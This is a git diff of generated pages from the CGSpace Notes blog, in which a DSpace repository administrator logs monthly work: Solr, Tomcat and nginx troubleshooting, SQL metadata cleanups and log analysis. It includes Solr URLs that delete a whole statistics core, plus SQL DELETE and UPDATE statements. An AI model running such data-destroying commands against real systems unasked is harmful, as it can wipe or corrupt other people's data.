$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b                                  
+
+real    74m42.646s
+user    8m5.056s
+sys     2m7.289s
+
+ Read more → +
+ + + + + + +
+
+

May, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-05-01

+
    +
  • I cleared the Solr statistics core on DSpace Test by issuing two commands directly to the Solr admin interface: +
      +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E
      • +
    • http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E
      • +
    +
    • +
  • Then I reduced the JVM heap size from 6144 back to 5120m
    • +
  • Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-04-01

+
    +
  • I tried to test something on DSpace Test but noticed that it’s down since god knows when
    • +
  • Catalina logs at least show some memory errors yesterday:
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-03-02

+
    +
  • Export a CSV of the IITA community metadata for Martin Mueller
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-02-01

+
    +
  • Peter gave feedback on the dc.rights proof of concept that I had sent him last week
    • +
  • We don’t need to distinguish between internal and external works, so that makes it just a simple list
    • +
  • Yesterday I figured out how to monitor DSpace sessions using JMX
    • +
  • I copied the logic in the jmx_tomcat_dbpools provided by Ubuntu’s munin-plugins-java package and used the stuff I discovered about JMX in 2018-01
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2018

+

by Alan Orth in + Notes + + +

+
+

2018-01-02

+
    +
  • Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time
    • +
  • I didn’t get any load alerts from Linode and the REST and XMLUI logs don’t show anything out of the ordinary
    • +
  • The nginx logs show HTTP 200s until 02/Jan/2018:11:27:17 +0000 when Uptime Robot got an HTTP 500
    • +
  • In dspace.log around that time I see many errors like “Client closed the connection before file download was complete”
    • +
  • And just before that I see this:
    • +
+
Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000].
+
    +
  • Ah hah! So the pool was actually empty!
    • +
  • I need to increase that, let’s try to bump it up from 50 to 75
    • +
  • After that one client got an HTTP 499 but then the rest were HTTP 200, so I don’t know what the hell Uptime Robot saw
    • +
  • I notice this error quite a few times in dspace.log:
    • +
+
2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1976+TO+1979]': Encountered " "]" "] "" at line 1, column 32.
+
    +
  • And there are many of these errors every day for the past month:
    • +
+
$ grep -c "Error while searching for sidebar facets" dspace.log.*
+dspace.log.2017-11-21:4
+dspace.log.2017-11-22:1
+dspace.log.2017-11-23:4
+dspace.log.2017-11-24:11
+dspace.log.2017-11-25:0
+dspace.log.2017-11-26:1
+dspace.log.2017-11-27:7
+dspace.log.2017-11-28:21
+dspace.log.2017-11-29:31
+dspace.log.2017-11-30:15
+dspace.log.2017-12-01:15
+dspace.log.2017-12-02:20
+dspace.log.2017-12-03:38
+dspace.log.2017-12-04:65
+dspace.log.2017-12-05:43
+dspace.log.2017-12-06:72
+dspace.log.2017-12-07:27
+dspace.log.2017-12-08:15
+dspace.log.2017-12-09:29
+dspace.log.2017-12-10:35
+dspace.log.2017-12-11:20
+dspace.log.2017-12-12:44
+dspace.log.2017-12-13:36
+dspace.log.2017-12-14:59
+dspace.log.2017-12-15:104
+dspace.log.2017-12-16:53
+dspace.log.2017-12-17:66
+dspace.log.2017-12-18:83
+dspace.log.2017-12-19:101
+dspace.log.2017-12-20:74
+dspace.log.2017-12-21:55
+dspace.log.2017-12-22:66
+dspace.log.2017-12-23:50
+dspace.log.2017-12-24:85
+dspace.log.2017-12-25:62
+dspace.log.2017-12-26:49
+dspace.log.2017-12-27:30
+dspace.log.2017-12-28:54
+dspace.log.2017-12-29:68
+dspace.log.2017-12-30:89
+dspace.log.2017-12-31:53
+dspace.log.2018-01-01:45
+dspace.log.2018-01-02:34
+
    +
  • Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-12-01

+
    +
  • Uptime Robot noticed that CGSpace went down
    • +
  • The logs say “Timeout waiting for idle object”
    • +
  • PostgreSQL activity says there are 115 connections currently
    • +
  • The list of connections to XMLUI and REST API for today:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/8/index.html b/docs/page/8/index.html new file mode 100644 index 000000000..0efb19c5d --- /dev/null +++ b/docs/page/8/index.html @@ -0,0 +1,444 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

November, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-11-01

+
    +
  • The CORE developers responded to say they are looking into their bot not respecting our robots.txt
    • +
+

2017-11-02

+
    +
  • Today there have been no hits by CORE and no alerts from Linode (coincidence?)
    • +
+
# grep -c "CORE" /var/log/nginx/access.log
+0
+
    +
  • Generate list of authors on CGSpace for Peter to go through and correct:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv;
+COPY 54701
+
+ Read more → +
+ + + + + + +
+
+

October, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-10-01

+ +
http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336
+
    +
  • There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine
    • +
  • Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections
    • +
+ Read more → +
+ + + + + + +
+
+

CGIAR Library Migration

+

by Alan Orth in + Notes + + +  + +

+
+

Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called CGIAR System Organization.

+ Read more → +
+ + + + + + +
+
+

September, 2017

+

by Alan Orth in + +  + +

+
+

2017-09-06

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours
    • +
+

2017-09-07

+
    +
  • Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2017

+

by Alan Orth in + +  + +

+
+

2017-08-01

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours
    • +
  • I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)
    • +
  • The good thing is that, according to dspace.log.2017-08-01, they are all using the same Tomcat session
    • +
  • This means our Tomcat Crawler Session Valve is working
    • +
  • But many of the bots are browsing dynamic URLs like: +
      +
    • /handle/10568/3353/discover
      • +
    • /handle/10568/16510/browse
      • +
    +
    • +
  • The robots.txt only blocks the top-level /discover and /browse URLs… we will need to find a way to forbid them from accessing these!
    • +
  • Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): https://jira.duraspace.org/browse/DS-2962
    • +
  • It turns out that we’re already adding the X-Robots-Tag "none" HTTP header, but this only forbids the search engine from indexing the page, not crawling it!
    • +
  • Also, the bot has to successfully browse the page first so it can receive the HTTP header…
    • +
  • We might actually have to block these requests with HTTP 403 depending on the user agent
    • +
  • Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415
    • +
  • This was due to newline characters in the dc.description.abstract column, which caused OpenRefine to choke when exporting the CSV
    • +
  • I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d
    • +
  • Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2017

+

by Alan Orth in + +  + +

+
+

2017-07-01

+
    +
  • Run system updates and reboot DSpace Test
    • +
+

2017-07-04

+
    +
  • Merge changes for WLE Phase II theme rename (#329)
    • +
  • Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace
    • +
  • We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML:
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2017

+

by Alan Orth in + +  + +

+
+ 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we’ll create a new sub-community for Phase II and create collections for the research themes there The current “Research Themes” community will be renamed to “WLE Phase I Research Themes” Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + Read more → +
+ + + + + + +
+
+

May, 2017

+

by Alan Orth in + +  + +

+
+ 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it’s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire’s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + Read more → +
+ + + + + + +
+
+

April, 2017

+

by Alan Orth in + +  + +

+
+

2017-04-02

+
    +
  • Merge one change to CCAFS flagships that I had forgotten to remove last month (“MANAGING CLIMATE RISK”): https://github.com/ilri/DSpace/pull/317
    • +
  • Quick proof-of-concept hack to add dc.rights to the input form, including some inline instructions/hints:
    • +
+

dc.rights in the submission form

+
    +
  • Remove redundant/duplicate text in the DSpace submission license
    • +
  • Testing the CMYK patch on a collection with 650 items:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt
+
+ Read more → +
+ + + + + + +
+
+

March, 2017

+

by Alan Orth in + +  + +

+
+

2017-03-01

+
    +
  • Run the 279 CIAT author corrections on CGSpace
    • +
+

2017-03-02

+
    +
  • Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace
    • +
  • CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles
    • +
  • They might come in at the top level in one “CGIAR System” community, or with several communities
    • +
  • I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?
    • +
  • Need to send Peter and Michael some notes about this in a few days
    • +
  • Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI
    • +
  • Filed an issue on DSpace issue tracker for the filter-media bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: DS-3516
    • +
  • Discovered that the ImageMagic filter-media plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK
    • +
  • Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing regeneration using DSpace 5.x’s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see 10568/51999):
    • +
+
$ identify ~/Desktop/alc_contrastes_desafios.jpg
+/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/page/9/index.html b/docs/page/9/index.html new file mode 100644 index 000000000..de33ad9ed --- /dev/null +++ b/docs/page/9/index.html @@ -0,0 +1,453 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

February, 2017

+

by Alan Orth in + +  + +

+
+

2017-02-07

+
    +
  • An item was mapped twice erroneously again, so I had to remove one of the mappings manually:
    • +
+
dspace=# select * from collection2item where item_id = '80278';
+  id   | collection_id | item_id
+-------+---------------+---------
+ 92551 |           313 |   80278
+ 92550 |           313 |   80278
+ 90774 |          1051 |   80278
+(3 rows)
+dspace=# delete from collection2item where id = 92551 and item_id = 80278;
+DELETE 1
+
    +
  • Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301)
    • +
  • Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2017

+

by Alan Orth in + +  + +

+
+

2017-01-02

+
    +
  • I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error
    • +
  • I tested on DSpace Test as well and it doesn’t work there either
    • +
  • I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2016

+

by Alan Orth in + +  + +

+
+

2016-12-02

+
    +
  • CGSpace was down for five hours in the morning while I was sleeping
    • +
  • While looking in the logs for errors, I see tons of warnings about Atmire MQM:
    • +
+
2016-12-02 03:00:32,352 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail="dc.title", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail="THUMBNAIL", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail="-1", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+
    +
  • I see thousands of them in the logs for the last few months, so it’s not related to the DSpace 5.5 upgrade
    • +
  • I’ve raised a ticket with Atmire to ask
    • +
  • Another worrying error from dspace.log is:
    • +
+ Read more → +
+ + + + + + +
+
+

November, 2016

+

by Alan Orth in + +  + +

+
+

2016-11-01

+
    +
  • Add dc.type to the output options for Atmire’s Listings and Reports module (#286)
    • +
+

Listings and Reports with output type

+ Read more → +
+ + + + + + +
+
+

October, 2016

+

by Alan Orth in + +  + +

+
+

2016-10-03

+
    +
  • Testing adding ORCIDs to a CSV file for a single item to see if the author orders get messed up
    • +
  • Need to test the following scenarios to see how author order is affected: +
      +
    • ORCIDs only
      • +
    • ORCIDs plus normal authors
      • +
    +
    • +
  • I exported a random item’s metadata as CSV, deleted all columns except id and collection, and made a new coloum called ORCID:dc.contributor.author with the following random ORCIDs from the ORCID registry:
    • +
+
0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X
+
+ Read more → +
+ + + + + + +
+
+

September, 2016

+

by Alan Orth in + +  + +

+
+

2016-09-01

+
    +
  • Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors
    • +
  • Discuss how the migration of CGIAR’s Active Directory to a flat structure will break our LDAP groups in DSpace
    • +
  • We had been using DC=ILRI to determine whether a user was ILRI or not
    • +
  • It looks like we might be able to use OUs now, instead of DCs:
    • +
+
$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)"
+
+ Read more → +
+ + + + + + +
+
+

August, 2016

+

by Alan Orth in + +  + +

+
+

2016-08-01

+
    +
  • Add updated distribution license from Sisay (#259)
    • +
  • Play with upgrading Mirage 2 dependencies in bower.json because most are several versions of out date
    • +
  • Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more
    • +
  • bower stuff is a dead end, waste of time, too many issues
    • +
  • Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of fonts)
    • +
  • Start working on DSpace 5.1 → 5.5 port:
    • +
+
$ git checkout -b 55new 5_x-prod
+$ git reset --hard ilri/5_x-prod
+$ git rebase -i dspace-5.5
+
+ Read more → +
+ + + + + + +
+
+

July, 2016

+

by Alan Orth in + +  + +

+
+

2016-07-01

+
    +
  • Add dc.description.sponsorship to Discovery sidebar facets and make investors clickable in item view (#232)
    • +
  • I think this query should find and replace all authors that have “,” at the end of their names:
    • +
+
dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, '(^.+?),$', '\1') where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+UPDATE 95
+dspacetest=# select text_value from  metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+ text_value
+------------
+(0 rows)
+
    +
  • In this case the select query was showing 95 results before the update
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2016

+

by Alan Orth in + +  + +

+
+

2016-06-01

+ + Read more → +
+ + + + + + +
+
+

May, 2016

+

by Alan Orth in + +  + +

+
+

2016-05-01

+
    +
  • Since yesterday there have been 10,000 REST errors and the site has been unstable again
    • +
  • I have blocked access to the API now
    • +
  • There are 3,000 IPs accessing the REST API in a 24-hour period!
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | uniq | wc -l
+3168
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/index.html b/docs/posts/index.html new file mode 100644 index 000000000..46efd49f9 --- /dev/null +++ b/docs/posts/index.html @@ -0,0 +1,440 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

July, 2023

+

by Alan Orth in + Notes + + +

+
+ 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as “Copyrighted; all rights reserved” based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it’s usually copyrighted (could still be open access, but we can’t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status… In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don’t like the Impact Area icons as a component because they don’t have any visual meaning + Read more → +
+ + + + + + +
+
+

June, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-06-02

+
    +
  • Spend some time testing my post_bitstreams.py script to update thumbnails for items on CGSpace +
      +
    • Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail…
      • +
    +
    • +
  • Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +
      +
    • They have experience with improving the MODS interface in MELSpace’s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace
      • +
    • From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

May, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-05-03

+
    +
  • Alliance’s TIP team emailed me to ask about issues authenticating on CGSpace +
      +
    • It seems their password expired, which is annoying
      • +
    +
    • +
  • I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +
      +
    • There are many of our subjects that would match if they added a “-” like “high yielding varieties” or used singular…
      • +
    • Also I found at least two spelling mistakes, for example “decison support systems”, which would match if it was spelled correctly
      • +
    +
    • +
  • Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace
    • +
+ Read more → +
+ + + + + + +
+
+

April, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-04-02

+
    +
  • Run all system updates on CGSpace and reboot it
    • +
  • I exported CGSpace to CSV to check for any missing Initiative collection mappings +
      +
    • I also did a check for missing country/region mappings with csv-metadata-quality
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+ Read more → +
+ + + + + + +
+
+

March, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-03-01

+
    +
  • Remove cg.subject.wle and cg.identifier.wletheme from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)
    • +
  • iso-codes 4.13.0 was released, which incorporates my changes to the common names for Iran, Laos, and Syria
    • +
  • I finally got through with porting the input form from DSpace 6 to DSpace 7
    • +
+ Read more → +
+ + + + + + +
+
+

February, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-02-01

+
    +
  • Export CGSpace to cross check the DOI metadata with Crossref +
      +
    • I want to try to expand my use of their data to journals, publishers, volumes, issues, etc…
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2023

+

by Alan Orth in + Notes + + +

+
+

2023-01-01

+
    +
  • Apply some more ORCID identifiers to items on CGSpace using my 2022-09-22-add-orcids.csv file +
      +
    • I want to update all ORCID names and refresh them in the database
      • +
    • I see we have some new ones that aren’t in our list if I combine with this file:
      • +
    +
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-12-01

+
    +
  • Fix some incorrect regions on CGSpace +
      +
    • I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions
      • +
    +
    • +
  • Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!
    • +
  • Replace “East Asia” with “Eastern Asia” region on CGSpace (UN M.49 region)
    • +
+ Read more → +
+ + + + + + +
+
+

November, 2022

+

by Alan Orth in + Notes + + +

+
+

2022-11-01

+
    +
  • Last night I re-synced DSpace 7 Test from CGSpace +
      +
    • I also updated all my local 7_x-dev branches on the latest upstreams
      • +
    +
    • +
  • I spent some time updating the authorizations in Alliance collections +
      +
    • I want to make sure they use groups instead of individuals where possible!
      • +
    +
    • +
  • I reverted the Cocoon autosave change because it was more of a nuissance that Peter can’t upload CSVs from the web interface and is a very low severity security issue
    • +
+ Read more → +
+ + + + + + + + + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/index.xml b/docs/posts/index.xml new file mode 100644 index 000000000..5f4165c24 --- /dev/null +++ b/docs/posts/index.xml @@ -0,0 +1,1907 @@ + + + + Posts on CGSpace Notes + https://alanorth.github.io/cgspace-notes/posts/ + Recent content in Posts on CGSpace Notes + Hugo -- gohugo.io + en-us + Sat, 01 Jul 2023 17:14:36 +0300 + + July, 2023 + https://alanorth.github.io/cgspace-notes/2023-07/ + Sat, 01 Jul 2023 17:14:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-07/ + 2023-07-01 Export CGSpace to check for missing Initiative collection mappings Start harvesting on AReS 2023-07-02 Minor edits to the crossref_doi_lookup.py script while running some checks from 22,000 CGSpace DOIs 2023-07-03 I analyzed the licenses declared by Crossref and found with high confidence that ~400 of ours were incorrect I took the more accurate ones from Crossref and updated the items on CGSpace I took a few hundred ISBNs as well for where we were missing them I also tagged ~4,700 items with missing licenses as &ldquo;Copyrighted; all rights reserved&rdquo; based on their Crossref license status being TDM, mostly from Elsevier, Wiley, and Springer Checking a dozen or so manually, I confirmed that if Crossref only has a TDM license then it&rsquo;s usually copyrighted (could still be open access, but we can&rsquo;t tell via Crossref) I would be curious to write a script to check the Unpaywall API for open access status&hellip; In the past I found that their license status was not very accurate, but the open access status might be more reliable More minor work on the DSpace 7 item views I learned some new Angular template syntax I created a custom component to show Creative Commons licenses on the simple item page I also decided that I don&rsquo;t like the Impact Area icons as a component because they don&rsquo;t have any visual meaning + + + + June, 2023 + https://alanorth.github.io/cgspace-notes/2023-06/ + Fri, 02 Jun 2023 10:29:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-06/ + <h2 id="2023-06-02">2023-06-02</h2> +<ul> +<li>Spend some time testing my <code>post_bitstreams.py</code> script to update thumbnails for items on CGSpace +<ul> +<li>Interestingly I found an item with a JFIF thumbnail and another with a WebP thumbnail&hellip;</li> +</ul> +</li> +<li>Meeting with Valentina, Stefano, and Sara about MODS metadata in CGSpace +<ul> +<li>They have experience with improving the MODS interface in MELSpace&rsquo;s OAI-PMH for use with AGRIS and were curious if we could do the same in CGSpace</li> +<li>From what I can see we need to upgrade the MODS schema from 3.1 to 3.7 and then just add a bunch of our fields to the crosswalk</li> +</ul> +</li> +</ul> + + + + May, 2023 + https://alanorth.github.io/cgspace-notes/2023-05/ + Wed, 03 May 2023 08:53:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-05/ + <h2 id="2023-05-03">2023-05-03</h2> +<ul> +<li>Alliance&rsquo;s TIP team emailed me to ask about issues authenticating on CGSpace +<ul> +<li>It seems their password expired, which is annoying</li> +</ul> +</li> +<li>I continued looking at the CGSpace subjects for the FAO / AGROVOC exercise that I started last week +<ul> +<li>There are many of our subjects that would match if they added a &ldquo;-&rdquo; like &ldquo;high yielding varieties&rdquo; or used singular&hellip;</li> +<li>Also I found at least two spelling mistakes, for example &ldquo;decison support systems&rdquo;, which would match if it was spelled correctly</li> +</ul> +</li> +<li>Work on cleaning, proofing, and uploading twenty-seven records for IFPRI to CGSpace</li> +</ul> + + + + April, 2023 + https://alanorth.github.io/cgspace-notes/2023-04/ + Sun, 02 Apr 2023 08:19:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-04/ + <h2 id="2023-04-02">2023-04-02</h2> +<ul> +<li>Run all system updates on CGSpace and reboot it</li> +<li>I exported CGSpace to CSV to check for any missing Initiative collection mappings +<ul> +<li>I also did a check for missing country/region mappings with csv-metadata-quality</li> +</ul> +</li> +<li>Start a harvest on AReS</li> +</ul> + + + + March, 2023 + https://alanorth.github.io/cgspace-notes/2023-03/ + Wed, 01 Mar 2023 07:58:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-03/ + <h2 id="2023-03-01">2023-03-01</h2> +<ul> +<li>Remove <code>cg.subject.wle</code> and <code>cg.identifier.wletheme</code> from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)</li> +<li><a href="https://salsa.debian.org/iso-codes-team/iso-codes/-/blob/main/CHANGELOG.md#4130-2023-02-28">iso-codes 4.13.0 was released</a>, which incorporates my changes to the common names for Iran, Laos, and Syria</li> +<li>I finally got through with porting the input form from DSpace 6 to DSpace 7</li> +</ul> + + + + February, 2023 + https://alanorth.github.io/cgspace-notes/2023-02/ + Wed, 01 Feb 2023 10:57:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-02/ + <h2 id="2023-02-01">2023-02-01</h2> +<ul> +<li>Export CGSpace to cross check the DOI metadata with Crossref +<ul> +<li>I want to try to expand my use of their data to journals, publishers, volumes, issues, etc&hellip;</li> +</ul> +</li> +</ul> + + + + January, 2023 + https://alanorth.github.io/cgspace-notes/2023-01/ + Sun, 01 Jan 2023 08:44:36 +0300 + + https://alanorth.github.io/cgspace-notes/2023-01/ + <h2 id="2023-01-01">2023-01-01</h2> +<ul> +<li>Apply some more ORCID identifiers to items on CGSpace using my <code>2022-09-22-add-orcids.csv</code> file +<ul> +<li>I want to update all ORCID names and refresh them in the database</li> +<li>I see we have some new ones that aren&rsquo;t in our list if I combine with this file:</li> +</ul> +</li> +</ul> + + + + December, 2022 + https://alanorth.github.io/cgspace-notes/2022-12/ + Thu, 01 Dec 2022 08:52:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-12/ + <h2 id="2022-12-01">2022-12-01</h2> +<ul> +<li>Fix some incorrect regions on CGSpace +<ul> +<li>I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix 